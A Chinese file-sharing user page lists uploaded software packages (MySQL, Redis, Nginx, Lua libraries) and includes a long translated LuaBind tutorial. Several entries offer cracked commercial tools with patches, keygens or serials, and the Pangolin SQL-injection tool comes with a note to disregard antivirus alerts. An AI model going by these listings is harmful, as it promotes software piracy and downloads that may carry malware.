自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(0)
  • 资源 (174)
  • 论坛 (54)
  • 问答 (2)

空空如也

mysql 5.5.40(源码)

mySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQL AB公司。在2008年1月16号被Sun公司收购。而2009年,SUN又被Oracle收购。MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内。这样就增加了速度并提高了灵活性。MySQL的SQL“结构化查询语言”。SQL是用于访问数据库的最常用标准化语言。MySQL软件采用了GPL(GNU通用公共许可证)。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。 最后一个5.5版本 mysql 5.5.40

2014-12-22

Visual.Assist.X.v10.7.1916

Visual Assist X是一款非常好的Microsoft Visual Studio和Visual Studio .NET插件,支持C/C++,C#,ASP,Visual Basic,Java和HTML等语言,能自动识别各种关键字、系统函数、成员变量、自动给出输入提示、自动更正大小写错误、自动标示错误等,有助于提高开发过程的自动化和开发效率。 注意: 这个版本增加了针对 Visual Studio 2012支持. 经过测试很好用. 请按照说明安装. 附注册工具.

2012-11-22

tinyxml 单文件版

tinyxml 单文件版 只有一个tinyxml.hpp

2012-11-02

burpsuite_pro_v1.4.07

burpsuite_pro_v1.4.07 crack版 懂得入

2012-10-20

TortoiseSVN-1.7.10.23359-win32-svn-1.7.7

TortoiseSVN-1.7.10.23359-win32-svn-1.7.7

2012-10-17

redis-lua 源码

redis-lua 是 Redis 的 Lua 语言的客户端开发包。 示例代码: require 'redis' local redis = Redis.connect('127.0.0.1', 6379) local response = redis:ping() -- true redis:set('usr:nrk', 10) redis:set('usr:nobody', 5) local value = redis:get('usr:nrk') -- 10 请注意他还有一些依赖.

2012-07-10

Lua CJSON 源码

Lua CJSON 为 Lua 语言提供高性能的 JSON 解析器和编码器,其性能比纯 Lua 库要高 10 到 20 倍。Lua CJSON 完全支持 UTF-8 ,无需依赖其他非 Lua/LuaJIT 的相关包。

2012-07-10

acl 2.1.2.8 源码

acl 框架库是一个 C 库,主要包含:服务器开发框架、同步/异步网络通讯、常用数据结构、进程池/线程池、流式 xml/json 解析器、http/ping 应用协议等内容;

2012-07-10

libasn 源码

libasn 提供了一些编程里非常有用的功能和函数库(C语言),例如列表、哈希表、拓扑排序、内存管理、垃圾收集、应用层调试、正则表达式等等功能。

2012-07-10

sparsehash 源码

Google Sparse Hash 是 Google 一个很节省内存的 hash map 实现

2012-07-10

Botan-1.10.2 源码

Botan 是一个 C++ 的加密算法库,支持 AES, DES, SHA-1, RSA, DSA, Diffie-Hellman 等多种算法,支持 X.509 认证以及CRLs 和 PKCS #10

2012-07-10

Samba 3.6.6 源码

Samba,是种自由软件,用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS(Server Message Block/Common Internet File System)网络协定做连结。在目前的版本(v3),不仅可存取及分享SMB的资料夹及打印机,本身还可以整合入Windows Server的网域、扮演为网域控制站(Domain Controller)以及加入Active Directory成员。简而言之,此软件在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。

2012-07-10

Vim 7.3 win版

Vim是从vi发展出来的一个文本编辑器。代码补完、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。和Emacs并列成为类Unix系统用户最喜欢的编辑器。Vim的第一个版本由Bram Moolenaar在1991年发布。最初的简称是Vi IMitation ,随着功能的不断增加,正式名称改成了Vi IMproved。现在是在开放源代码方式下发行的慈善软件。   Vim是Linux上著名的文本编辑器,他是早年的Vi编辑器的加强版。gVim是Vim的图形前端,它是跨平台的编辑器,基本上主流的操作系统上面都有它的版本。这是一个国际版本,会根据安装的平台自动选择相应语言包,支持中文及其各种编码,连界面也是中文的,请放心使用。这个极具Unix特色和风格(simple is the best)的编辑器相信会给您带来不同的感受。

2012-07-10

Visual.Assist.X.v10.7.1901.0

Visual.Assist.X.v10.7.1901.0 附patch

2012-07-10

MeteoIO 源码

MeteoIO 是一个跨平台的 C++ 库,提供数据的格式化和协议无关的数据访问,提供安全可靠的I/O处理。

2012-07-10

grub4dos 源码

GRUB4DOS是一个优秀的双(多)系统引导软件,使用GRUB4DOS可以很方便的引导各种操作系统,比如DOS、Windows、 Linux等。是一个可以把U盘制作成光盘似的来进行装系统

2012-07-10

arg_parser 源码

Arg_parser 是一个用来处理命令行参数的C++类,同时也提供C语言的版本。

2012-07-10

Nginx 源码

Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。

2012-07-10

RapidXml 源码

RapidXml 试图成为最快的 XML DOM 解析工具包,同时保证解析结果的可用性、可移植性以及与 W3C 标准的兼容性。RapidXml 使用 C++ 编写,因此在操作同一数据时,其解析速度接近于 strlen() 函数。   整个解析工具包包含在一个头文件中,所以使用时不用编译也不用连接。要想使用 RapidXml 只要包含 rapidxml.hpp 即可,当然如果要用附加功能(如打印函数),你可以包含 rapidxml_print.hpp 文件。   RapidXml 为采用C++语言操作XML提供了机遇,同时结合XMPP协议也开启了诸如Wt、CxServer等基于C++的网络应用在即时通讯领域的更宽广的发展空间。

2012-07-10

MiniINI 源码

MiniINI 是一个用来解析 INI/CFG 配置文件的C++库,主要特点是可移植性、性能和小体积。支持上千种 INI 格式配置,易用简单。

2012-07-10

Visual.Assist.X.v10.6.1859

Visual.Assist.X.v10.6.1859 内附patch

2012-05-30

JSky 网站漏洞扫描工具

JSky作为一款国内著名的网站漏洞扫描工具,提供网站漏洞扫描服务,即能查找出网站中的漏洞;网站漏洞检测工具提供网站漏洞检测服务,即能模拟黑客攻击来评估计算机网站安全的一种评估方法。渗透测试模块能模拟黑客攻击,让您立刻掌握问题的严重性。   有了JSky之后,网站管理者就可以方便快捷地进行网站漏洞分析,然后进行网站漏洞修复,这样就能减少网站被攻击的危害,保证公司正常业务的开展,维持企业的形象。

2011-11-21

Pangolin 注入测试工具

Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行S Pangolin的logoql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec)旗下的网站安全测试产品之一。   Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件,可以说是网站安全测试人员的必备工具之一。 注意: 可能会报毒. 属于正常情况. 不相信可以去原版网站下载. 内附注册机.

2011-11-21

EnterpriseArchitect-v8.0858 企业版

介绍   生命周期软件设计方案——Enterprise Architect是以目标为导向的软件系统。它覆盖了系统开发的整个周期,除了开发类模型之外,还包括事务进程分析,使用案例需求,动态模型,组件和布局,系统管理,非功能需求,用户界面设计,测试和维护等。 内附序列号.

2011-11-21

SWIG 源码(C/C++与其他语言的粘合剂)

SWIG是个帮助使用C或者C++编写的软件能与其它各种高级编程语言进行嵌入联接的开发工具。SWIG能应用于各种不同类型的语言包括常用脚本编译语言例如Perl, PHP, Python, Tcl, Ruby and PHP。支持语言列表中也包括非脚本编译语言,例如C#, Common Lisp (CLISP, Allegro CL, CFFI, UFFI), Java, Modula-3, OCAML以及R,甚至是编译器或者汇编的计划应用(Guile, MzScheme, Chicken)。SWIG普遍应用于创建高级语言解析或汇编程序环境,用户接口,作为一种用来测试C/C++或进行原型设计的工具。SWIG还能够导出XML或Lisp s-expressions格式的解析树。SWIG可以被自由使用,发布,修改用于商业或非商业中。

2011-09-29

winhex 进制编辑器

WinHex是一个专门用来对付各种日常紧急情况的小工具。它可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。同时它还可以让你看到其他程序隐藏起来的文件和数据。总体来说是一款非常不错的 16 进制编辑器。得到 ZDNetSoftwareLibrary 五星级最高评价,拥有强大的系统效用。 注意: 它有一个很特别的功能. 你懂的.

2011-09-26

ICU源码(支持软件国际化的开源中间件)

ICU(International Component for Unicode) 是 IBM 公司与开源组织合作研究的,基于"IBM公共许可证",用于支持软件国际化的开源项目。本文中主要介绍的 ICU4C 是ICU 在 C/C++ 平台下的版本,它提供了 C/C++ 平台强大的国际化开发能力,它可以帮助开发人员根据各地的风俗和语言习惯,实现对数字、货币、时间、日期、和消息格式化和解析,对字符串进行大小写转换、整理、搜索和排序之类的国际化操作。 注意此版本为C/C++版. 非java版.

2011-09-20

redis-2.2.2 (源码)

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。 redis的几种使用方式 Strings、Hashs、Lists、Sets、Sorted Sets、Pub/Sub、Transactions redis是NoSQL的一个代表作. 在少量数据存储,高速读写访问有优势.

2011-09-20

mysql 5.5.10(源码)

ySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQL AB公司。在2008年1月16号被Sun公司收购。而2009年,SUN又被Oracle收购。MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内。这样就增加了速度并提高了灵活性。MySQL的SQL“结构化查询语言”。SQL是用于访问数据库的最常用标准化语言。MySQL软件采用了GPL(GNU通用公共许可证)。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。 新版本好处是 有了对cmake的支持. 不过我本人没有定制的需求. 所以也没编译过. 不知道是否可以一次ok. 因为mysql 依赖的第三方可能较多. 编译的话 可能需要先把第三方弄全了. 不然可能会编译不过. 有编译ok的同学 可以写一个blog给大家分享一下. 先谢谢了.

2011-09-20

Vim 7.3 正式版

Vim是一个类似于Vi的文本编辑器,不过在Vi的基础上增加了很多新的特性,Vim普遍被推崇为类Vi编辑器中最好的一个,事实上真正的劲敌来自Emacs的不同变体。1999 年Emacs被选为Linuxworld文本编辑分类的优胜者,Vim屈居第二。但在2000年2月Vim赢得了Slashdot Beanie的最佳开放源代码文本编辑器大奖,又将Emacs推至二线, 总的来看, Vim和Emacs同样都是非常优秀的文本编辑器。 什么是好东西. 这就是. 里面附带 一些常用配置. 合则用. 覆盖到安装目录即可. (覆盖你懂的)

2011-09-20

serv-u 6.4.0.4 经典版

被繁多的各种ftpserver版本困扰? serv-u 6.4.0.4 经典版. 你懂的.

2011-09-20

VisualSVN-Server

想自己在windows上架设svn? 操作很麻烦? 现在轻松了. VisualSVN-Server 将各种复杂的操作隐藏起来. 使用人性化的安装配置界面 使您的工作变轻松了. 内附 pdf文档

2011-09-20

MySQL Front v5.1 中文版

一款小巧的管理Mysql的应用程序.主要特性包括多文档界面,语法突出,拖拽方式的数据库和表格,可编辑/可增加/删除的域,可编辑/可插入/删除的记录,可显示的成员,可执行的SQL 脚本,提供与外程序接口,保存数据到CSV文件等。 内附注册码.

2011-09-20

LuaBind 源码 (Lua增强库)

1 介绍 LuaBind 是一个帮助你绑定C++和Lua的库.她有能力暴露 C++ 函数和类到 Lua . 她也有 能力支持函数式的定义一个Lua类,而且使之继承自C++或者Lua. Lua类可以覆写从 C++ 基类 继承来的虚函数. 她的目标平台是Lua 5.0 ,不能支持Lua 4.0 . 她利用模板原编程技术实现.这意味着,你不需要额外的预处理过程去编译你的工程(编译器 会替你完成全部的工作).这还意味着,你也不需要(通常)知道你注册的每一个函数的精确的签名. 因为,LuaBind库会在编译时生成所需的代码.这样做的不利点是,编译时间会随着需要注册的 文件的数目增加而增加.因此建议你把所有的需要注册的东西放到一个cpp文件里面. LuaBind 遵循 MIT 协议 发布. 我们非常希望听说有工程使用了LuaBind, 请告诉我们,如果你的工程使用了LuaBind. 主要的反馈渠道是 LuaBind邮件列表 .在 irc.freenode.net还可以找到一个IRC频道 #luabind . 2 功能 LuaBind支持: * 重载自由函数 * C++类导入Lua * 重载成员函数 * 操作符 * 属性 * 枚举 * Lua函数导入C++ * Lua类导入C++ * Lua类(单继承) * 从Lua或C++类继承 * 覆写C++类的虚函数 * 注册类型间隐式的类型转换 * 最好匹配式签名匹配 * 返回值策略和参数策略 3 可移植性 LuaBind 已经通过下面的编译器环境的测试: Visual Studio 7.1 Visual Studio 7.0 Visual Studio 6.0 (sp 5) Intel C++ 6.0 (Windows) GCC 2.95.3 (cygwin) GCC 3.0.4 (Debian/Linux) GCC 3.1 (SunOS 5.8) GCC 3.2 (cygwin) GCC 3.3.1 (cygwin) GCC 3.3 (Apple, MacOS X) GCC 4.0 (Apple, MacOS X) LuaBind被确认不能在 GCC 2.95.2 (SunOS 5.8) 下工作. Metrowerks 8.3 (Windows) 可以编译LuaBind,但是通不过常量测试.这就意味着常量 成员函数被视同非常量成员函数. 如果你测试了LuaBind和其他未列出的编译器的兼容性,请告诉我们你的结果. 4 构建LuaBind 为了抑制LuaBind的编译时间最好是将其编译为一个库. 这意味着你要不编译并连接LuaBind 库要不就添加其所有源码到你的工程里面.你必须确保LuaBind目录在你的编译器包含目录中. LuaBind需要Boost 1.32.0 或者 1.33.0 (只需要头文件即可). LuaBind还需要Lua. 官方的构建LuaBind的方式是通过 Boost.Build V2 . 为此,你需要设置两个环境变量: BOOST_ROOT 指向你的Boost安装目录 LUA_PATH 指向你的Lua目录.编译系统将假定包含文件和库文件分别放在 $(LUA_PATH)/include/ 和 $(LUA_PATH)/lib/. 为了向后兼容性,LuaBind在根目录下还保留了一个makefile.这可以构建库和测试程序.如果 你正在使用一个UNIX系统(或者 cygwin),他们将使得构建LuaBind静态库变得很简单.如果 你正在使用 Visual Studio ,很简单的包含 src 目录下的文件到你的工程即可. 构建LuaBind的时候,你可以设定一些选项来使得库更加符合你的需求.特别重要的是,你的应用 程序也必须使用和库一样的设定.可用的选项的介绍参见 Build options 章节. 如果你希望改变缺省的设置,推荐你通过修改命令行参数的方式来实现.(在Visual Studio 的工程设置项里面). 5 基本使用 为了使用LuaBind, 你必须包含 lua.h 和 LuaBind 的主要头文件: extern "C" { #include "lua.h" } #include <luabind/luabind.hpp> 这些头文件提供了注册函数和类的功能. 如果你只是想获得函数或者类的支持,你可以分开 包含 luabind/function.hpp 和 luabind/class.hpp: #include <luabind/function.hpp> #include <luabind/class.hpp> 你需要去做的第一件事是 调用 luabind::open(lua_State*), 由此注册可以在Lua创建类 的函数并初始化 LuaBind需要使用的 状态机全局结构. 如果你不调用这个函数, 你会在后面 触发一个 断言 . 不没有一个对应的关闭函数.因为,一旦一个类被注册到Lua,真没有什么好 的方法去移除它.部分原因是任何剩余的类实例都将依赖其类. 当状态机被关闭的时候,所有 的一切都将被清理干净. LuaBind 的头文件不会直接包含 Lua.h , 而是透过 <luabind/lua_include.hpp> . 如果你 出于某种原因需要包含其他的Lua头文件,你可以修改此文件. 5.1 Hello World 新建一个控制台DLL工程, 名字是 luabind_test. #include <iostream> #include <luabind/luabind.hpp> #include <luabind/lua_include.hpp> extern "C" { #include "lua.h" #include "lauxlib.h" } void greet() { std::cout << "hello world!\n"; } extern "C" int luaopen_luabind_test(lua_State* L) { using namespace luabind; open(L); module(L) [ def("greet", &greet) ]; return 0; } 把生成的DLL和lua.exe/lua51.dll放在同一个目录下. Lua 5.1.2 Copyright (C) 1994-2007 Lua.org, PUC-Rio > require "luabind_test" > greet() Hello world! > 6 作用域 注册到Lua里面的所有东西要不注册于一个名空间下(Lua table)要不注册于全局作用域(lua module). 所有注册的东西必须放在一个作用域里面.为了定义一个模块, luabind::module 类必须被使用. 使用方式如下: module(L) [ // declarations ]; 这将会注册所有的函数或者类到 Lua 全局作用域. 如果你想要为你的模块设定一个名空间(类似标准模块), 你可以给构造函数设定一个名字,例如: module(L, "my_library") [ // declarations ]; 这里所有的申明都将被放置在 my_libary 表. 如果你想要嵌套名空间,你可以用 luabind::namespace_ 类. 它和 luabind::module 类似,除了构造器 没有lua_State* 输入参数.用例如下: module(L, "my_library") [ // declarations namespace_("detail") [ // library-private declarations ] ]; 你可能会想到,下面两个声明是等价的: module(L) [ namespace_("my_library") [ // declarations ] ]; module(L, "my_library") [ // declarations ]; 每一个声明必须用逗号分隔,例如: module(L) [ def("f", &f), def("g", &g), class_<A>("A") .def(constructor<int, int>), def("h", &h) ]; 更多实际的例子请参阅 绑定函数到Lua 和 绑定类到Lua 章节. 请注意, (如果你对性能有很高的需求)把你的函数放到表里面将增加查找函数的时间. 7 绑定函数到Lua 为了绑定函数到Lua,你可以使用函数 luabind::def(). 它的声明如下: template<class F, class policies> void def(const char* name, F f, const Policies&); * name 是该函数在Lua里面的名字 * F 是该函数的指针 * 策略参数是用来描述怎样处理该函数参数和返回值的.这是一个可选参数,参见 策略 章节. 下面的例子演示注册函数 float std::sin(float): module(L) [ def("sin", &std::sin) ]; 7.1 重载函数 如果你有同名函数需要注册到Lua, 你必须显示的给定函数的签名. 这可以让C++知道你指定的是哪一个函数. 例如, 如果你有两个函数, int f(const char*) 和 void f(int). module(L) [ def("f", (int(*)(const char*)) &f), def("f", (void(*)(int)) &f) ]; 7.2 签名匹配 LuaBind 将会生成代码来检查Lua栈的内容是否匹配你的函数的签名. 它会隐式的在 派生类之间进行类型转换,并且它会按照尽量少进行隐式类型转换的原则经行匹配.在 一个函数调用中,如果函数是重载过的,并且重载函数的参数匹配分不出好坏的话 (都经行同样次数的隐式类型转换),那么将产生一个二义性错误.这将生成一个运行时 错误,程序挂起在产生二义性调用的地方.一个简单的例子是,注册两个函数,一个函数 接受一个int参数,另外一个函数接受一个float参数. 因为Lua将不区别浮点数和整形数, 所以他们都是匹配的. 因为所有的重载是被测试过的,这将总是找到最好的匹配(不是第一个匹配).这样意味着, LuaBind可以处理签名的区别只是const和非const的重载函数. 例如,如果如下的函数和类被注册: struct A { void f(); void f() const; }; const A* create_a();所有权转移 为了正确处理所有权转移问题,create_a()将用来适配返回值策略. 参见 策略 章节. -Linker Lin 4/5/08 6:32 PM struct B: A {}; struct C: B {}; void g(A*); void g(B*); 执行以下 Lua 代码即结果: a1 = create_a() a1:f() -- 常量版本被调用 a2 = A() a2:f() -- 非常量版本被调用 a = A() b = B() c = C() g(a) -- calls g(A*) g(b) -- calls g(B*) g(c) -- calls g(B*) 7.3 调用Lua函数 为了调用一个Lua函数, 你可以或者用 call_function() 或者用 一个对象(object). template<class Ret> Ret call_function(lua_State* L, const char* name, ...) template<class Ret> Ret call_function(object const& obj, ...) call_function()函数有两个重载版本.一个是根据函数的名字来调用函数, 另一个是调用一个可以作为函数调用的Lua值. 使用函数名来调用的版本只能调用Lua全局函数. "..."代表传递给Lua函数的 可变个数的参数. 这使得你可以指定调用的策略.你可以通过 operator[] 来实现 这个功鞥.你可以同过方括号来指定策略,例如: int ret = call_function<int>( L , "a_lua_function" , new complex_class() )[ adopt(_1) ]; 如果你想通过引用方式传递参数,你必须用Boost.Ref来包装一下. 例如: int ret = call_function(L, "fun", boost::ref(val)); 如果你想给一个函数调用指定自己的错误捕获处理函数(error handler),可以参阅 pcall errorfunc 章节的 set_pcall_callback . 7.4 使用Lua协程 为了使用Lua协程,你必须调用 lua_resume(),这就意味着你不能用先前介绍的函数 call_function()来开始一个协程.你必须用这个: template<class Ret> Ret resume_function(lua_State* L, const char* name, ...) template<class Ret> Ret resume_function(object const& obj, ...) 和: template<class Ret> Ret resume(lua_State* L, ...) 第一次开始一个协程的时候,你必须给它一个入口函数. 当一个协程返回(yield)的时候, resume_fucntion()调用的返回值是 lua_yield()的第一个传入参数.当你想要继续一个 协程的时候,你只需要调用 resume() 在你的 lua_State() 上,因为它已经在执行一个函数 (即先前出入的入口函数),所以你不需要再次传入函数.resume()的传入参数将作为Lua侧的 yield()调用的返回值. 为了暂停(yielding)C++函数,(不支持在C++侧和Lua侧传送数据块),你可以使用 yield 策略. 接受 object 参数的resume_function()的重载版本要求对象必须是一个协程对象.(thread) lua_State* thread = lua_newthread(L); object fun = get_global(thread)["my_thread_fun"]; resume_function(fun); 8 绑定类到Lua 为了注册一个类,你可以用 class_ 类. 它的名字和C++关键字类似是为了比较直观.它有一个重载 过的成员函数 def() .这个函数被用来注册类的成员函数,操作符,构造器,枚举和属性.它将返回 this 指针,从而方便你直接注册更多的成员. 让我们开始一个简单的例子.考虑下面的C++类: class testclass { public: testclass(const std::string& s): m_string(s) {} void print_string() { std::cout << m_string << "\n"; } private: std::string m_string; }; 为了注册这个类到Lua环境,可以像下面这样写(假设你使用了名空间): module(L) [ class_<testclass>("testclass") .def(constructor<const std::string&>()) .def("print_string", &testclass::print_string) ]; 这将注册 testclass 类以及接受一个string参数的构造器以及一个成员叫print_string()的函数. Lua 5.0 Copyright (C) 1994-2003 Tecgraf, PUC-Rio > a = testclass('a string') > a:print_string() a string 还可以注册自由函数作为成员函数.对这个自由函数的要求是,它必须接受该类的一个指针或常量指针或 引用或常量引用作为函数的第一个参数.该函数的剩下的参数将在Lua侧可见,而对象指针将被赋值给第一个 参数.如果我们有如下的C++代码: struct A { int a; }; int plus(A* o, int v) { return o->a + v; } 你可以注册 plus() 作为A的一个成员函数,如下: class_<A>("A") .def("plus", &plus) plus() 现在能够被作为A的一个接受一个int参数的成员函数来调用.如果对象指针(this指针)是const, 这个函数也将表现的像一个常量成员函数那样(它可以通过常量对象来调用). 8.1 重载成员函数 当绑定超过一个以上的重载过的成员函数的时候,或只是绑定其中的一个的时候,你必须消除你传递给 def() 的 成员函数指针的歧义.为此,你可以用普通C风格的类型转换来转型匹配正确的重载函数. 为此,你必须知道怎么去 描述C++成员函数的类型.这里有一个简短的教程(更多信息请查阅你的C++参考书): 成员函数指着的语法如下: return-value (class-name::*)(arg1-type, arg2-type, ...) 例如: struct A { void f(int); void f(int, int); }; class_<A>() .def("f", (void(A::*)(int))&A::f) A的第一个成员函数f(int)被绑定了,而第二个没哟被绑定. 8.2 属性 很容易注册类的全局数据成员.考虑如下的类: struct A { int a; }; 这个类可以这样注册: module(L) [ class_<A>("A") .def_readwrite("a", &A::a) ]; 这使得成员变量 A::a 获得了读写访问权. 还可以注册一个只读的属性: module(L) [ class_<A>("A") .def_readonly("a", &A::a) ]; 当绑定成员是一个非原始数据类型的时候,自动生成的 getter 函数将会返回一个它引用. 这就允许你可以链式使用 . 操作符.例如,当有一个结构体包含另外一个结构体的时候.如下: struct A { int m; }; struct B { A a; }; 当绑定B到Lua的时候,下面的表达式应该可以工作: b = B() b.a.m = 1 assert(b.a.m == 1) 这要求 a 属性必须返回一个A的引用, 而不是一个拷贝. 这样,LuaBind将会自动使用依赖策略来 确保返回值依赖于它所在的对象.所以,如果返回的引用的生命长于该对象的所有的引用(这里是b). 它将保持对象是激活的,从而避免出现悬挂指针. 你还可以注册 getter 或者 setter 函数来使得它们看上去像一个 public 的成员.考虑下面的类: class A { public: void set_a(int x) { a = x; } int get_a() const { return a; } private: int a; }; 可以这样注册成一个公共数据成员: class_<A>("A") .property("a", &A::get_a, &A::set_a) 这样 set_a() 和 get_a() 将取代简单的数据成员操作.如果你想使之只读,你只需要省略最后一个参数. 请注意, get 函数必须是 const 的,否则不能通过编译. 8.3 枚举 如果你的类包含枚举,你可以注册它们到Lua. 注意,它们不是类型安全的,所有的枚举在Lua侧都是整型的, 并且所有接受枚举参数的函数都将接受任何整型.你可以像这样注册它们: module(L) [ class_<A>("A") .enum_("constants") [ value("my_enum", 4), value("my_2nd_enum", 7), value("another_enum", 6) ] ]; 在Lua侧,他们可以像数据成员那样被操作,除了它们是只读的而且属于类本身而不是类的实例. Lua 5.0 Copyright (C) 1994-2003 Tecgraf, PUC-Rio > print(A.my_enum) 4 > print(A.another_enum) 6 8.4 操作符 为了绑定操作符,你需要包含头文件 <luabind/operator.hpp>. 注册你的类的操作符的机制非常的简单.你通过一个全局名字 luabind::self 来引用类自己,然后你就 可以在def()调用里面直接用操作符表达式. 类如下: struct vec { vec operator+(int s); }; 可以这样注册: module(L) [ class_<vec>("vec") .def(self + int()) ]; 不管你的 + 操作符是定义在类里面还是自由函数都可以工作. 如果你的操作符是常量的(const)(或者,是一个自由函数, 接受一个类的常量的引用)你必须用 const_self 替代 self. 如下: module(L) [ class_<vec>("vec") .def(const_self + int()) ]; 支持如下操作符: + - * / == < <= 这意味着,没有"就地操作符"(in-place)(++ --). 相等操作符(==)有些敏锐;如果引用是相等的就不会 被调用. 这意味着, 相等操作符的效率非常好. Lua不支持操作符包括: !=,>和<=.这是为什么你只能注册上面那些操作符. 当你调用这些操作符的时候, Lua会把调用转换到支持的操作符上.(译注:例如:==和!=有逻辑非得关系) -Linker Lin 4/6/08 11:09 PM 在上面的示例中,操作数的类型是 int().如果操作数的类型是复杂类型,就不是那么简单了,你需要用 other<> 来包装下.例如: 为了注册如下的类,我们不想用一个string的实例来注册这个操作符. struct vec { vec operator+(std::string); }; 取而代之的是,我们用 other<> 包装下,如下: module(L) [ class_<vec>("vec") .def(self + other<std::string>()) ]; 注册一个应用程序操作符(函数调用): module(L) [ class_<vec>("vec") .def( self(int()) ) ]; 这里有个特殊的操作符.在Lua里,它叫做 __tostring,它不是一个真正的操作符.它是被用来转换一个对象到 string的标准Lua方法.如果你注册之,可以通过Lua的标准函数 tostring() 来转换你的对象到一个string. 为了在C++里实现这个操作符,你需要为 std::ostream 提供 operator<< .像这样: class number {}; std::ostream& operator<<(std::ostream&, number&); ... module(L) [ class_<number>("number") .def(tostring(self)) ]; 8.5 嵌套作用域和静态函数 可以添加嵌套的作用域到一个类.当你需要包装一个嵌套类或者一个静态函数的时候就会很有用. class_<foo>("foo") .def(constructor<>() .scope [ class_<inner>("nested"), def("f", &f) ]; 在上面的例子里, f 将表现的像一个类 foo 的静态函数,而 类 nested 将表现的像类 foo 的嵌套类. 还可以用同样的语法添加名空间到类里面. 8.6 继承类 如果你想要注册一个继承自其它类的类到Lua, 你可以指定一个模板参数 bases<> 给 class_ 的构造器. 如下的继承关系: struct A {}; struct B : A {}; 可以这样注册: module(L) [ class_<A>("A"), class_<B, A>("B") ]; 如果你使用了多继承,你可以指定多于一个的基类.如果 B 还继承了类 C , 它可以这样注册: module(L) [ class_<B, bases<A, C> >("B") ]; 注意,你可以省去 bases<> 当你用的是单继承的时候. 注意 如果你不指定类的继承关系, LuaBind 将不能在相关的继承类型间进行隐式类型转换. 8.7 智能指针 当你注册一个类的时候,你可以告诉 LuaBind 所有的该类的实例应该被某种智能指针持有.(例如: boost::shared_ptr) 你可通过把一个 持有器类型模板参数 给 class_ 类的构造器来实现该功能.例如: module(L) [ class_<A, boost::shared_ptr<A> >("A") ]; 你还必须为你的智能指针提供两个函数.一个返回常量版本的智能指针类型(这里是: boost:shared_ptr< const A >). 另一个函数要可以从智能指针萃取流指针(raw pointer). 之所以需要第一个函数是因为,LuaBind 允许 非常量 -> 转换在传递Lua值到C++的时候.之所以需要第二个函数是因为,当Lua调用一个被智能指针持有 的类的成员函数的时候,this 指针必须是一个流指针.还有一个原因是,从Lua转换到C++的时候,需要实现 智能指针到普通指针的转换.看上去像这样: namespace luabind { template<class T> T* get_pointer(boost::shared_ptr<T>& p) { return p.get(); } template<class A> boost::shared_ptr<const A>* get_const_holder(boost::shared_ptr<A>*) { return 0; } } 第二个函数只在编译时用于映射 boost::shared_ptr<A>到其常量版本 boost::shared_ptr<const A>. 它从来不会被调用,所以返回值是无所谓的(返回值的类型才是关键). 这个转换将这样工作(假定 B 是A的基类): 从Lua到C++ Source Target holder_type<A> A* holder_type<A> B* holder_type<A> A const* holder_type<A> B const* holder_type<A> holder_type<A> holder_type<A> holder_type<A const> holder_type<A const> A const* holder_type<A const> B const* holder_type<A const> holder_type<A const 从C++到Lua Source Target holder_type<A> holder_type<A> holder_type<A const> holder_type<A const> holder_type<A> const& holder_type<A> holder_type<A const> const& holder_type<A const> 当使用持有器类型的时候,知道指针是不是合法(例如:非空)是很有用的.例如,当使用 std::auto_ptr 的时候, 持有器通过一个参数传递给函数的时候将会变得无效. 为了这个目的,所有的对象实例都有一个成员叫: __ok. struct X {}; void f(std::auto_ptr<X>); module(L) [ class_<X, std::auto_ptr<X> >("X") .def(constructor<>()), def("f", &f) ]; Lua 5.0 Copyright (C) 1994-2003 Tecgraf, PUC-Rio > a = X() > f(a) > print a.__ok false 当注册一个继承树的时候,所有的实例被智能指针持有的地方,所有的类必须包含持有器类型.例如: module(L) [ class_<base, boost::shared_ptr<base> >("base") .def(constructor<>()), class_<derived, base, boost::shared_ptr<base> >("base") .def(constructor<>()) ]; 在内部, LuaBind 将会做必要的转换于萃取自持有器的流指针之上. 8.8 拆分类注册 在某些情况下,可能需要分开注册一个类在不同的编译单元. 部分原因可能是节约重编译时间,而某些编译器的 限制可能要求不得不分开注册一个类.其实很简单.考虑下面的示例代码: void register_part1(class_<X>& x) { x.def(/*...*/); } void register_part2(class_<X>& x) { x.def(/*...*/); } void register_(lua_State* L) { class_<X> x("x"); register_part1(x); register_part2(x); module(L) [ x ]; } 这里,类X被分两步注册.两个函数 register_part 和 register_part2 可能被放到不同的编译单元里. 